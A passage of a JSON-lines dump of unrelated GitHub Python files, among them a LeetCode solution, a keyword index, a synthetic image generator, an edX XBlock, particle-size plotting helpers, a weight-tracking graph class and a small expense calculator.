range(len(s)):\n if s[i] in h:\n low = max(h[s[i]] + 1, low)\n #print i, \"Low -> \", low\n h[s[i]] = i\n high = i\n if high - low + 1 > max_len:\n max_len = high - low + 1\n max_index = (low, high)\n #print max_index, s[max_index[0]:max_index[1]+1]\n return max_len\n \n \n ","repo_name":"ashriths/re-init","sub_path":"leetcode/longest-substring-without-repeating-characters.py","file_name":"longest-substring-without-repeating-characters.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"37028614334","text":"\nfrom index import *\n\n\nif __name__ == \"__main__\":\n keywords = input(\"Informe as palavras chaves: \").split()\n filename = input(\n \"Informe o arquivo a ser testado. Lembrado que deve estar dentro da pasta testes: \")\n\n L = len(keywords[0])\n\n avl_tree, hash_table = create_index(keywords, L)\n avl_tree.export_to_graphviz(\"resultados/avl_tree.dot\")\n hash_table.display()\n\n with open(\"testes/\"+filename, \"r\") as file:\n linha = 0\n dict_keywords = {}\n for line in file:\n linha = linha + 1\n for word in line.split():\n if avl_tree.search(word) is not None:\n if word not in dict_keywords:\n dict_keywords[word] = []\n dict_keywords[word].append(linha)\n\n myKeys = list(dict_keywords.keys())\n myKeys.sort()\n sorted_dict = {i: dict_keywords[i] for i in myKeys}\n print(sorted_dict)\n # export_result(sorted_dict)\n","repo_name":"juliaavaladares/sorting-algorithms","sub_path":"trabalho2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34424578664","text":"'''\nThe purpose of this file is to use Python to make the images to train AI models with.\n\nDependencies: python 3.6.2+, numpy, matplotlib, pillow, tqdm\n\nPython is a bit more accessible than Matlab; therefore, this file will be better for\nmaking training images in the long run.\n'''\n\n\nfrom PIL import Image, ImageFont, ImageDraw\nimport matplotlib.pyplot as plt\nfrom os.path import isfile, join\nfrom os import listdir\nimport os\nfrom random import randint\nimport numpy as np\nimport copy\nfrom tqdm import tqdm\n\n\n#############################################\n# SPECIFY NUMBER OF IMAGES YOU WANT TO MAKE #\nnumber_of_images = 100\n#############################################\n\n\n\n# load backgrounds and shapes\ncwd = os.getcwd()\nbackgrounds_path = join(cwd, 'backgrounds')\nbackgrounds = [f for f in listdir(backgrounds_path) if isfile(join(backgrounds_path, f))]\nif '.DS_Store' in backgrounds:\n backgrounds.remove('.DS_Store')\nif 'backgrounds.zip' in backgrounds:\n backgrounds.remove('backgrounds.zip')\nbackgrounds_raw = []\nfor files in backgrounds:\n try:\n im = Image.open(join(backgrounds_path,files))\n im = im.convert('RGB')\n im = np.asarray(im, dtype=np.uint8)\n backgrounds_raw.append(im)\n except OSError:\n pass\n\nshapes_path = join(cwd, 'assets', 'shape_templates')\nshapes = [f for f in listdir(shapes_path) if isfile(join(shapes_path, f))]\nshapes_raw = []\nfor files in shapes:\n im = Image.open(join(shapes_path,files))\n im = im.convert('L') # make it boolean\n im = np.asarray(im)\n shapes_raw.append(im)\n\n\nalphanumeric_vector = ['A', 'B', 'C', 'D', 'E', 'F', \\\n 'G', 'H', 'I', 'J', 'K', 'L', \\\n 'M', 'N', 'O', 'P', 'Q', 'R', \\\n 'S', 'T', 'U', 'V', 'W', 'X', \\\n 'Y', 'Z', '1', '2', '3', '4', \\\n '5', '6', '7', '8', '9', '0']\n\n\nfor file_number in tqdm(range(number_of_images)):\n # choose random alphanumeric and background\n letter = alphanumeric_vector[randint(0,len(alphanumeric_vector)-1)]\n background = copy.deepcopy(backgrounds_raw[randint(0,len(backgrounds_raw)-1)])\n background.setflags(write=1) # make image writable\n shape_choice = randint(0,len(shapes)-1)\n shape = shapes_raw[shape_choice]\n\n # choose random color\n color_of_background = np.array([randint(0,255),randint(0,255),randint(0,255)])\n color_of_letter = np.array([randint(0,255),randint(0,255),randint(0,255)])\n color_difference = np.sqrt(np.sum(np.square(color_of_background-color_of_letter)))\n # make sure the color difference is greater than a threshold\n while color_difference < 12:\n color_of_letter = np.array([randint(0,255),randint(0,255),randint(0,255)])\n color_difference = np.sqrt(np.sum(np.square(color_of_background-color_of_letter)))\n \n \n # draw random shape to a random background\n x_coor, y_coor = np.where(shape==False)\n x_max = background.shape[0]-1 - shape.shape[0]-1\n y_max = background.shape[1]-1 - shape.shape[1]-1\n change_x = randint(0, x_max)\n change_y = randint(0, y_max)\n x_tr = x_coor + change_x\n y_tr = y_coor + change_y\n background_mask = (x_tr, y_tr)\n # add randomness to background\n l, w, h = (40,40,3) # this is something that's known\n color_of_background = color_of_background.reshape(1,1,h) # make background 3D\n color_of_background = color_of_background.repeat(l,axis=0).repeat(w,axis=1)\n color_of_background = color_of_background - np.random.rand(l,w,h)/8 # add randomness\n background[background_mask] = color_of_background[x_coor,y_coor]\n\n\n # draw letter on picture\n im = Image.fromarray(background)\n draw = ImageDraw.Draw(im)\n font_path = join(cwd, 'fonts', 'Arial.ttf')\n font_size = 26\n font = ImageFont.truetype(font_path, font_size)\n # change color to rgba\n rgba_color = tuple(color_of_letter.tolist() + [0])\n draw.text((12+change_y, 8+change_x), letter, font=font, fill=rgba_color)\n\n\n # create jpeg\n im.save(join(cwd, \"test_images\", \"%s.jpeg\" % (file_number)),'jpeg')\n\n # create xml file\n folder = 'test_images'\n filename = '%s.jpeg' % (file_number)\n path = join(cwd, folder)\n height = 40 # this is something that's known\n width = 40\n depth = 3\n xmin = change_y # I'm not sure why it works when it's switched\n xmax = change_y + 40 # but it does...\n ymin = change_x\n ymax = change_x + 40\n newline = '\\n'\n xml_string = [ '\\n', \n '\\t', folder, '\\n',\n '\\t', filename, '\\n',\n '\\t', path, '\\n',\n '\\t\\n\\t\\tUnknown\\n\\t\\n',\n '\\t', newline,\n '\\t\\t', str(width), '', newline,\n '\\t\\t', str(height), '', newline,\n '\\t\\t', str(depth), '', newline,\n '\\t\\n',\n '\\t0\\n',\n '\\t', newline,\n '\\t\\t', shapes[shape_choice][:-4], '', newline,\n '\\t\\tUnspecified', newline,\n '\\t\\t0', newline,\n '\\t\\t0', newline,\n '\\t\\t', newline,\n '\\t\\t\\t', str(xmin), '', newline,\n '\\t\\t\\t', str(ymin), '', newline,\n '\\t\\t\\t', str(xmax), '', newline,\n '\\t\\t\\t', str(ymax), '', newline,\n '\\t\\t', newline,\n '\\t\\n',\n '\\n']\n xml_name = '%s.xml' % (file_number)\n xml_path = join(folder, xml_name)\n file_object = open(xml_path, 'w')\n file_object.write(''.join(xml_string))\n file_object.close()","repo_name":"mathemusician/synthetic-image-generation","sub_path":"batch_data_generator.py","file_name":"batch_data_generator.py","file_ext":"py","file_size_in_byte":6027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40670024297","text":"\"\"\"TO-DO: Write a description of what this XBlock is.\"\"\"\n\nimport pkg_resources\nimport urllib\nimport os\nimport json\n\nfrom collections import OrderedDict\nfrom functools import partial\n\nfrom xblock.core import XBlock\nfrom xblock.fields import Scope, Integer, String, Float\nfrom xblock.fragment import Fragment\nfrom django.template import Context, Template\n\nfrom openpyxl import load_workbook\nfrom webob.response import Response\nfrom xmodule.contentstore.content import StaticContent\nfrom xmodule.contentstore.django import contentstore\n\nfrom xblock_django.mixins import FileUploadMixin\n\n\nclass NeighborhoodDynamicsXBlock(XBlock, FileUploadMixin):\n \"\"\"\n TO-DO: document what your XBlock does.\n \"\"\"\n\n display_name = String(display_name=\"Display Name\",\n default=\"Neighborhood Dynamics\",\n scope=Scope.settings,\n help=\"Name of Xblock.\")\n\n san_felipe_lower = Float(display_name=\"San Felipe Lower Bound\",\n default=1.0,\n scope=Scope.settings,\n help=\"Lower bound\")\n\n san_felipe_upper = Float(display_name=\"San Felipe Upper Bound\",\n default=1.0,\n scope=Scope.settings,\n help=\"Upper bound\")\n\n santa_ana_lower = Float(display_name=\"Santa Ana Lower Bound\",\n default=1.0,\n scope=Scope.settings,\n help=\"Lower bound\")\n\n santa_ana_upper = Float(display_name=\"Santa Ana Upper Bound\",\n default=1.0,\n scope=Scope.settings,\n help=\"Upper bound\")\n\n el_chorillo_lower = Float(display_name=\"El Chorillo Lower Bound\",\n default=1.0,\n scope=Scope.settings,\n help=\"Lower bound\")\n\n el_chorillo_upper = Float(display_name=\"El Chorillo Upper Bound\",\n default=1.0,\n scope=Scope.settings,\n help=\"Upper bound\")\n\n san_felipe_1 = Float(display_name=\"San Felipe 1990 to 2000\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n san_felipe_2 = Float(display_name=\"San Felipe 2000 to 2010\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n san_felipe_3 = Float(display_name=\"San Felipe 1990 to 2010\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n santa_ana_1 = Float(display_name=\"Santa Ana 1990 to 2000\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n santa_ana_2 = Float(display_name=\"Santa Ana 2000 to 2010\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n santa_ana_3 = Float(display_name=\"Santa Ana 1990 to 2010\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n el_chorillo_1 = Float(display_name=\"El Chorillo 1990 to 2000\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n el_chorillo_2 = Float(display_name=\"El Chorillo 2000 to 2010\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n el_chorillo_3 = Float(display_name=\"El Chorillo 1990 to 2010\",\n default=1.0,\n scope=Scope.settings,\n help=\"Percentage change\")\n\n task1_tries = Integer(\n default=0, scope=Scope.user_state,\n help=\"Counter of user tries\", )\n\n task2_tries = Integer(\n default=0, scope=Scope.user_state,\n help=\"Counter of user tries\", )\n\n def resource_string(self, path):\n \"\"\"Handy helper for getting resources from our kit.\"\"\"\n data = pkg_resources.resource_string(__name__, path)\n return data.decode(\"utf8\")\n\n # TO-DO: change this view to display your data your own way.\n def student_view(self, context=None):\n \"\"\"\n The primary view of the NeighborhoodDynamicsXBlock, shown to students\n when viewing courses.\n \"\"\"\n\n template_str = self.resource_string(\"static/html/neighborhood_dynamics.html\")\n template = Template(template_str)\n\n # parameters sent to browser for XBlock html page\n html = template.render(Context({\n }))\n\n frag = Fragment(html)\n frag.add_css_url(\n self.runtime.local_resource_url(\n self, 'public/css/neighborhood_dynamics.css'))\n frag.add_javascript(self.resource_string(\"static/js/src/neighborhood_dynamics.js\"))\n frag.initialize_js('NeighborhoodDynamicsXBlock')\n return frag\n\n def studio_view(self, context=None):\n \"\"\"\n Create a fragment used to display the edit view in the Studio.\n \"\"\"\n\n template_str = self.resource_string(\"static/html/studio_view.html\")\n template = Template(template_str)\n html = template.render(Context({\n 'display_name': self.display_name,\n 'display_description': self.display_description,\n 'san_felipe_lower': self.san_felipe_lower,\n 'san_felipe_upper': self.san_felipe_upper,\n 'santa_ana_lower': self.santa_ana_lower,\n 'santa_ana_upper': self.santa_ana_upper,\n 'el_chorillo_lower': self.el_chorillo_lower,\n 'el_chorillo_upper': self.el_chorillo_upper,\n 'san_felipe_1': self.san_felipe_1,\n 'san_felipe_2': self.san_felipe_2,\n 'san_felipe_3': self.san_felipe_3,\n 'santa_ana_1': self.santa_ana_1,\n 'santa_ana_2': self.santa_ana_2,\n 'santa_ana_3': self.santa_ana_3,\n 'el_chorillo_1': self.el_chorillo_1,\n 'el_chorillo_2': self.el_chorillo_2,\n 'el_chorillo_3': self.el_chorillo_3\n }))\n\n frag = Fragment(html.format(self=self))\n js_str = pkg_resources.resource_string(__name__, \"static/js/src/studio_edit.js\")\n frag.add_javascript(unicode(js_str))\n frag.initialize_js('StudioEdit')\n return frag\n\n @XBlock.handler\n def studio_submit(self, request, suffix=''):\n \"\"\"\n Called when submitting the form in Studio.\n \"\"\"\n data = request.POST\n self.display_name = data['display_name']\n self.display_description = data['display_description']\n self.san_felipe_lower = data['san_felipe_lower']\n self.san_felipe_upper = data['san_felipe_upper']\n self.santa_ana_lower = data['santa_ana_lower']\n self.santa_ana_upper = data['santa_ana_upper']\n self.el_chorillo_lower = data['el_chorillo_lower']\n self.el_chorillo_upper = data['el_chorillo_upper']\n self.san_felipe_1 = data['san_felipe_1']\n self.san_felipe_2 = data['san_felipe_2']\n self.san_felipe_3 = data['san_felipe_3']\n self.santa_ana_1 = data['santa_ana_1']\n self.santa_ana_2 = data['santa_ana_2']\n self.santa_ana_3 = data['santa_ana_3']\n self.el_chorillo_1 = data['el_chorillo_1']\n self.el_chorillo_2 = data['el_chorillo_2']\n self.el_chorillo_3 = data['el_chorillo_3']\n\n block_id = data['usage_id']\n if not isinstance(data['thumbnail'], basestring):\n upload = data['thumbnail']\n self.thumbnail_url = self.upload_to_s3('THUMBNAIL', upload.file, block_id, self.thumbnail_url) \n\n return Response(json_body={\n 'result': \"success\"\n })\n\n @XBlock.json_handler\n def submit_task1(self, data, suffix=''):\n self.task1_tries = self.task1_tries + 1;\n san_felipe = data['san_felipe_lower'] and data['san_felipe_upper'] and (\n self.san_felipe_lower == float(data['san_felipe_lower'])) and (\n self.san_felipe_upper == float(data['san_felipe_upper']))\n santa_ana = data['santa_ana_lower'] and data['santa_ana_upper'] and (\n self.santa_ana_lower == float(data['santa_ana_lower'])) and (\n self.santa_ana_upper == float(data['santa_ana_upper']))\n el_chorillo = data['el_chorillo_lower'] and data['el_chorillo_upper'] and (\n self.el_chorillo_lower == float(data['el_chorillo_lower'])) and (\n self.el_chorillo_upper == float(data['el_chorillo_upper']))\n\n return {\n 'result': 'success',\n 'data': {\n 'san_felipe': san_felipe,\n 'santa_ana': santa_ana,\n 'el_chorillo': el_chorillo,\n 'tries': self.task1_tries\n }\n }\n\n @XBlock.json_handler\n def submit_task2(self, data, suffix=''):\n self.task2_tries = self.task2_tries + 1;\n san_felipe1 = data['san_felipe_1'] and data['san_felipe_1'] and (\n self.san_felipe_1 == float(data['san_felipe_1'])) and (self.san_felipe_1 == float(data['san_felipe_1']))\n san_felipe2 = data['san_felipe_2'] and data['san_felipe_2'] and (\n self.san_felipe_2 == float(data['san_felipe_2'])) and (self.san_felipe_2 == float(data['san_felipe_2']))\n san_felipe3 = data['san_felipe_3'] and data['san_felipe_3'] and (\n self.san_felipe_3 == float(data['san_felipe_3'])) and (self.san_felipe_3 == float(data['san_felipe_3']))\n santa_ana1 = data['santa_ana_1'] and data['santa_ana_1'] and (\n self.santa_ana_1 == float(data['santa_ana_1'])) and (self.santa_ana_1 == float(data['santa_ana_1']))\n santa_ana2 = data['santa_ana_2'] and data['santa_ana_2'] and (\n self.santa_ana_2 == float(data['santa_ana_2'])) and (self.santa_ana_2 == float(data['santa_ana_2']))\n santa_ana3 = data['santa_ana_3'] and data['santa_ana_3'] and (\n self.santa_ana_3 == float(data['santa_ana_3'])) and (self.santa_ana_3 == float(data['santa_ana_3']))\n el_chorillo1 = data['el_chorillo_1'] and data['el_chorillo_1'] and (\n self.el_chorillo_1 == float(data['el_chorillo_1'])) and (self.el_chorillo_1 == float(data['el_chorillo_1']))\n el_chorillo2 = data['el_chorillo_2'] and data['el_chorillo_2'] and (\n self.el_chorillo_2 == float(data['el_chorillo_2'])) and (self.el_chorillo_2 == float(data['el_chorillo_2']))\n el_chorillo3 = data['el_chorillo_3'] and data['el_chorillo_3'] and (\n self.el_chorillo_3 == float(data['el_chorillo_3'])) and (self.el_chorillo_3 == float(data['el_chorillo_3']))\n\n return {\n 'result': 'success',\n 'data': {\n 'san_felipe1': san_felipe1,\n 'san_felipe2': san_felipe2,\n 'san_felipe3': san_felipe3,\n 'santa_ana1': santa_ana1,\n 'santa_ana2': santa_ana2,\n 'santa_ana3': santa_ana3,\n 'el_chorillo1': el_chorillo1,\n 'el_chorillo2': el_chorillo2,\n 'el_chorillo3': el_chorillo3,\n 'tries': self.task2_tries\n }\n }\n\n def _file_storage_name(self, filename):\n # pylint: disable=no-member\n \"\"\"\n Get file path of storage.\n \"\"\"\n path = (\n '{loc.block_type}/{loc.block_id}'\n '/{filename}'.format(\n loc=self.location,\n filename=filename\n )\n )\n return path\n\n # TO-DO: change this to create the scenarios you'd like to see in the\n # workbench while developing your XBlock.\n @staticmethod\n def workbench_scenarios():\n \"\"\"A canned scenario for display in the workbench.\"\"\"\n return [\n (\"NeighborhoodDynamicsXBlock\",\n \"\"\"\n \"\"\"),\n (\"Multiple NeighborhoodDynamicsXBlock\",\n \"\"\"\n \n \n \n \n \"\"\"),\n ]\n","repo_name":"AntimonSb/neighborhood_activity","sub_path":"neighborhood_dynamics/neighborhood_dynamics.py","file_name":"neighborhood_dynamics.py","file_ext":"py","file_size_in_byte":12434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"9661409846","text":"\"\"\"\n6/17/21\n\ndiego.aliaga at helsinki dot fi\n\"\"\"\n\nimport psd_ftools.funs as pfu\nimport numpy as np\nimport pandas as pd\nfrom PyQt5 import QtCore\nimport xarray as xr\nimport pyqtgraph_back as pg\n\ndef open_sum( sum_path ):\n ds = pfu.open_sum2ds( sum_path )\n return ds\n\n\ndef get_treated_da( ds ):\n # todo make sure the da is better\n # da should not have nans\n # we use log10\n da = ds[ pfu.DNDLDP ]\n rt = 5 # averaging time in minutes\n len_ldp = 0.0646 # delta lDp\n \n da1 = da.dropna( 'time' , how='all' ).dropna( 'Dp' , how='all' )\n dr = da1.resample( { 'time': f'{rt}T' } , label='left' ).mean()\n \n dr[ 'time' ] = dr[ 'time' ] + pd.Timedelta( rt / 2 , 'minutes' )\n \n dr[ 'lDp' ] = np.log10( dr[ 'Dp' ] )\n \n dr1 = dr.swap_dims( { 'Dp': 'lDp' } )\n \n drange = np.arange( dr[ 'lDp' ].min() , dr[ 'lDp' ].max() , len_ldp / 4 )\n \n dr2 = dr1.interp( { 'lDp': drange } )\n \n dr2 = dr2.coarsen( { 'lDp': 4 } , boundary='trim').mean()\n dr2[ 'lDp' ] = dr2[ 'lDp' ] + len_ldp / 2\n \n dr2 = dr2.interpolate_na( dim='time' , limit=2 )\n \n # assert dr2.isnull().sum().item() == 0\n \n dr2 = dr2.where( dr2 > 0 , -10 )\n\n dr3 = dr2.transpose( 'time' , 'lDp' )\n \n return dr3\n\n\ndef infer_interval_breaks( coord , axis=0 , check_monotonic=False ):\n \"\"\"\n >>> infer_interval_breaks(np.arange(5))\n array([-0.5, 0.5, 1.5, 2.5, 3.5, 4.5])\n >>> infer_interval_breaks([[0, 1], [3, 4]], axis=1)\n array([[-0.5, 0.5, 1.5],\n [ 2.5, 3.5, 4.5]])\n \"\"\"\n coord = np.asarray( coord )\n \n if check_monotonic and not _is_monotonic( coord , axis=axis ):\n raise ValueError( \"The input coordinate is not sorted in increasing \"\n \"order along axis %d. This can lead to unexpected \"\n \"results. Consider calling the `sortby` method on \"\n \"the input DataArray. To plot data with categorical \"\n \"axes, consider using the `heatmap` function from \"\n \"the `seaborn` statistical plotting library.\" % axis )\n \n deltas = 0.5 * np.diff( coord , axis=axis )\n if deltas.size == 0:\n deltas = np.array( 0.0 )\n first = np.take( coord , [ 0 ] , axis=axis ) - np.take( deltas , [ 0 ] ,\n axis=axis )\n last = np.take( coord , [ -1 ] , axis=axis ) + np.take( deltas , [ -1 ] ,\n axis=axis )\n trim_last = tuple(\n slice( None , -1 ) if n == axis else slice( None ) for n in\n range( coord.ndim ) )\n return np.concatenate( [ first , coord[ trim_last ] + deltas , last ] ,\n axis=axis )\n\n\ndef _is_monotonic( coord , axis=0 ):\n \"\"\"\n >>> _is_monotonic(np.array([0, 1, 2]))\n True\n >>> _is_monotonic(np.array([2, 1, 0]))\n True\n >>> _is_monotonic(np.array([0, 2, 1]))\n False\n \"\"\"\n if coord.shape[ axis ] < 3:\n return True\n else:\n n = coord.shape[ axis ]\n delta_pos = coord.take( np.arange( 1 , n ) , axis=axis ) >= coord.take(\n np.arange( 0 , n - 1 ) , axis=axis )\n delta_neg = coord.take( np.arange( 1 , n ) , axis=axis ) <= coord.take(\n np.arange( 0 , n - 1 ) , axis=axis )\n return np.all( delta_pos ) or np.all( delta_neg )\n\n\ndef set_secs_dim( da ):\n da1 = da\n if 'secs' not in da1.dims:\n if 'secs' not in list(da1.coords):\n _dif = (da1[ 'time' ] - np.datetime64( '1970' ))\n da1[ 'secs' ] = _dif / np.timedelta64( 1 , 's' )\n \n da1 = da1.swap_dims( { 'time': 'secs' } )\n \n assert 'secs' in da1.dims\n \n return da1\n\n\ndef gauss_scipy( da , xpixel , ypixel ):\n from scipy.ndimage import gaussian_filter\n res = gaussian_filter( da , (ypixel , xpixel) )\n nda = xr.ones_like( da ) * res\n return nda\n\n\ndef gauss_astro( da , xpixel , ypixel ):\n if xpixel == 0:\n xpixel = .0001\n if ypixel == 0:\n ypixel = .0001\n \n from astropy.convolution import Gaussian2DKernel\n from astropy.convolution import convolve\n kernel = Gaussian2DKernel( x_stddev=xpixel , y_stddev=ypixel )\n res = convolve( da , kernel )\n nda = xr.ones_like( da ) * res\n return nda\n\n\ndef get_darray_of_interest_from_polyxy( da , poly ):\n da = set_secs_dim( da )\n mask = get_darray_of_interest_mask_from_polyxy( da , poly )\n da1 = da.where( mask )\n \n return da1\n\ndef get_darray_of_interest_mask_from_polyxy( da , poly ):\n da = set_secs_dim( da )\n from matplotlib.path import Path\n \n path = Path( poly , closed=False )\n \n # qr = ROI.parentBounds()\n \n top = poly[ : , 1 ].max()\n bot = poly[ : , 1 ].min()\n \n right = poly[ : , 0 ].max()\n left = poly[ : , 0 ].min()\n \n # top = np.max( [ qr.bottom() , qr.top() ] )\n # bot = np.min( [ qr.bottom() , qr.top() ] )\n # right = qr.right()\n # left = qr.left()\n \n if 'secs' not in da.dims:\n da = set_secs_dim( da )\n \n da_slice = da.loc[\n { 'secs': slice( left , right ) , 'lDp': slice( bot , top ) } ]\n # da.loc[{'time':slice(np.datetime64(left,'s'),np.datetime(right,'s'))}]\n \n # path = Path(r2.getState()['points'])\n \n _dp = xr.ones_like( da_slice ) * da_slice[ 'lDp' ]\n _se = xr.ones_like( da_slice ) * da_slice[ 'secs' ]\n \n _co = xr.concat( [ _se , _dp ] , 'xy' )\n \n xy = _co.transpose( 'lDp' , 'secs' , 'xy' ).values\n\n # noinspection PyUnresolvedReferences\n a , b , c = xy.shape\n\n # noinspection PyUnresolvedReferences\n mask = path.contains_points( xy.reshape( a * b , c ) )\n mask = mask.reshape( a , b )\n \n xmask = xr.zeros_like( da_slice ) + mask\n \n return xmask\n\ndef set_image_data( da , img:pg.ImageItem , autoLevels ):\n d0 , d1 , t00 , t11 = get_darray_bounds( da )\n da = da.where( da > 1 , 1 )\n lda = np.log10( da )\n # lda = lda.where(lda>0,0)\n data = lda.values\n img.setImage( data , autoLevels=autoLevels )\n width = t11 - t00\n height = d1 - d0\n rect = QtCore.QRectF( t00 , d0 , width , height )\n img.setRect( rect )\n \n # %%\n\ndef open_darray( pp ):\n ip_darray = open_sum( pp )\n \n ip_darray = get_treated_da( ip_darray )\n \n da = set_secs_dim( ip_darray )\n da[ 'tempK' ] = xr.zeros_like( da[ 'secs' ] ) + 273\n da[ 'presP' ] = xr.zeros_like( da[ 'secs' ] ) + 532000\n\n da1 = da.transpose( 'secs' , 'lDp' )\n \n return da1\n\ndef get_darray_bounds( da: xr.DataArray ):\n \"\"\"get the bounds for the darray\"\"\"\n assert 'time' in list( da.coords )\n assert 'lDp' in list( da.coords )\n \n t0 , t1 = infer_interval_breaks( da[ 'time' ] )[ [ 0 , -1 ] ]\n d0 , d1 = infer_interval_breaks( da[ 'lDp' ] )[ [ 0 , -1 ] ]\n t00 = (t0 - np.datetime64( '1970' )) / np.timedelta64( 1 , 's' )\n t11 = (t1 - np.datetime64( '1970' )) / np.timedelta64( 1 , 's' )\n return d0 , d1 , t00 , t11\n \n \n # p1 = self.gui_glw_a.addPlot(\n # title=\"log( dN /dlog(Dp) )\" ,\n # axisItems={ 'bottom': time_axis } )\n \n # self.gui_plot_a = p1\n \n # self.gui_plot_a.setLogMode( x=None , y=True )\n \n # self.gui_img_a = pg.ImageItem()\n #\n # self.gui_plot_a.addItem( self.gui_img_a )\n #\n # hist = pg.HistogramLUTItem()\n # hist.gradient.loadPreset( 'viridis' )\n # hist.setImageItem( self.gui_img_a )\n # self.gui_glw_a.addItem( hist )\n #\n # self.gui_hist_a = hist\n #\n # pts = [ [ 1.52725508e+09 , -7.70968700e+00 ] ,\n # [ 1.52725136e+09 , -8.00565669e+00 ] ,\n # [ 1.52725009e+09 , -8.35900826e+00 ] ,\n # [ 1.52727887e+09 , -8.35296807e+00 ] ,\n # [ 1.52727831e+09 , -8.00565670e+00 ] ,\n # [ 1.52728016e+09 , -7.71155135e+00 ] ]\n #\n # self.gui_ROI_a = pg.PolyLineROI( pts , pen=(6 , 9) , closed=True )\n #\n # self.gui_plot_a.addItem( self.gui_ROI_a )\n \n # set grid\n # Fix Axes ticks and grid\n # - there is a bug in this grid thing\n # grid_opacity = .5\n # for key in self.gui_plot_a.axes:\n # ax = self.gui_plot_a.getAxis( key )\n # ax.setGrid( grid_opacity * 255 )\n #\n # # Set the grid opacity\n # # if grid_is_visible:\n # # ax.setGrid( grid_opacity * 255 )\n # # else:\n # # ax.setGrid( False )\n #\n # # Fix Z value making the grid on top of the image\n # ax.setZValue( 1 )","repo_name":"daliagachc/banana-inspector","sub_path":"oldfiles/banana-inspector_old_oct1/banana_inspector/funs.py","file_name":"funs.py","file_ext":"py","file_size_in_byte":8488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"41627295765","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.dates as mdates\r\nimport tkinter\r\nfrom tkinter import messagebox\r\nimport datetime\r\nimport os\r\n\r\n\r\nclass MakeGraph:\r\n def __init__(self,user_name, excel):\r\n self.user_name = user_name\r\n self.excel_url = excel\r\n \r\n def draw_graph(self):\r\n df = pd.read_excel(self.excel_url)\r\n df = df.sort_values(['測定日','体重'])\r\n df = df.reset_index()\r\n df = df.drop([0])\r\n # ラベル毎の値を取り出し\r\n #sheetname指定したらkeyエラーが発生\r\n\r\n date = df['測定日']\r\n #df.loc['1':,['測定日']]\r\n weight = df['体重']\r\n #df.loc['1':,['体重']]\r\n\r\n # グラフ化\r\n plt.figure(figsize=(9,6))\r\n plt.title(self.user_name + '\\'s weight')\r\n plt.xlabel('measuring date')\r\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%m/%d'))\r\n plt.ylabel('weight')\r\n plt.plot(date, weight)\r\n plt.grid()\r\n plt.show()\r\n # ワークブックを取得する\r\n ## 要変更!!excel指定or自動選択に! ##\r\n\r\n def comparison_graph(self):\r\n all_files = []\r\n all_user = []\r\n all_user_df = pd.read_excel(str(os.path.dirname(__file__)) + str('/list/template.xlsx'))\r\n #ひな形としてtemplateファイル読み込み\r\n\r\n users_url = str(os.path.dirname(__file__)) + str('/list/')\r\n all_files = os.listdir(str(os.path.dirname(__file__)) + str('/list'))\r\n\r\n\r\n for n in all_files:\r\n if n[-5:] == '.xlsx':\r\n all_user.append(n)\r\n all_user.remove('template.xlsx')\r\n #全xlsxファイル保存先からexcelファイルのみを取り出し\r\n #templateをリストから削除\r\n\r\n\r\n\r\n plt.figure(figsize=(9,6))\r\n plt.title('all user\\'s weight')\r\n plt.xlabel('measuring date')\r\n plt.ylabel('weight')\r\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%m/%d'))\r\n #グラフの外枠の大きさを設定\r\n #X/Yのラベル名を決定\r\n #X軸の日付をmm/dd表記に変更\r\n\r\n # グラフ化\r\n for u in all_user:\r\n df2 = pd.read_excel(users_url + u)\r\n df2 = df2.sort_values(['測定��','体重'])\r\n df2 = df2.reset_index()\r\n df2 = df2.drop([0])\r\n df2 = df2.rename(columns={'体重': u[:-5]})\r\n #df2へ一時的に各ユーザーのdfを追加 →'体重'を'ユーザー名'に変更\r\n #print(df2)\r\n all_user_df = pd.concat([all_user_df,df2])\r\n #all_user_dfにデータ追加\r\n plt.plot('測定日', u[:-5], data=all_user_df)\r\n #折れ線グラフとして読み込み\r\n\r\n plt.legend(bbox_to_anchor=(0,1), loc='upper left', borderaxespad=0, fontsize=18)\r\n #凡例を表示 グラフに対する位置座標,座標を合わせる位置,外枠と合わせ角の距離,文字サイズ\r\n plt.grid()\r\n plt.show()\r\n \r\n\r\n\r\n\r\n","repo_name":"urtlapot/dietsupport","sub_path":"pgmcode/show_graph.py","file_name":"show_graph.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4218853899","text":"def monthlyexp(m):\r\n r=m\r\nm=int(input(\"Hostel Rent\"))\r\nm1=int(input(\"Bus_TicketOR Metro_Ticket\"))\r\nm2=int(input(\"Food\"))\r\nm3=int(input(\"Coffee\"))\r\nm4=int(input(\"Fish_Fry\"))\r\nm5=int(input(\"Chapati\"))\r\nm6=int(input(\"Fruits_Juice\"))\r\n#print(\"One Day Expenses Money Total:\",m+m1+m2+m3+m4+m5+m6)\r\na=(m*30+m1*30+m2*30+m3*30+m4*30+m5*30+m6*30)\r\nprint(\"One Month Expenses Money Total\",a)\r\ndef food(f):\r\n tripperson=f/num\r\n return tripperson\r\nnum=int(input(\"No. of friends:\"))\r\nftotal=int(input(\"Spent on some Food:\"))\r\nx=food(ftotal)\r\nprint(\"The Per frnds total 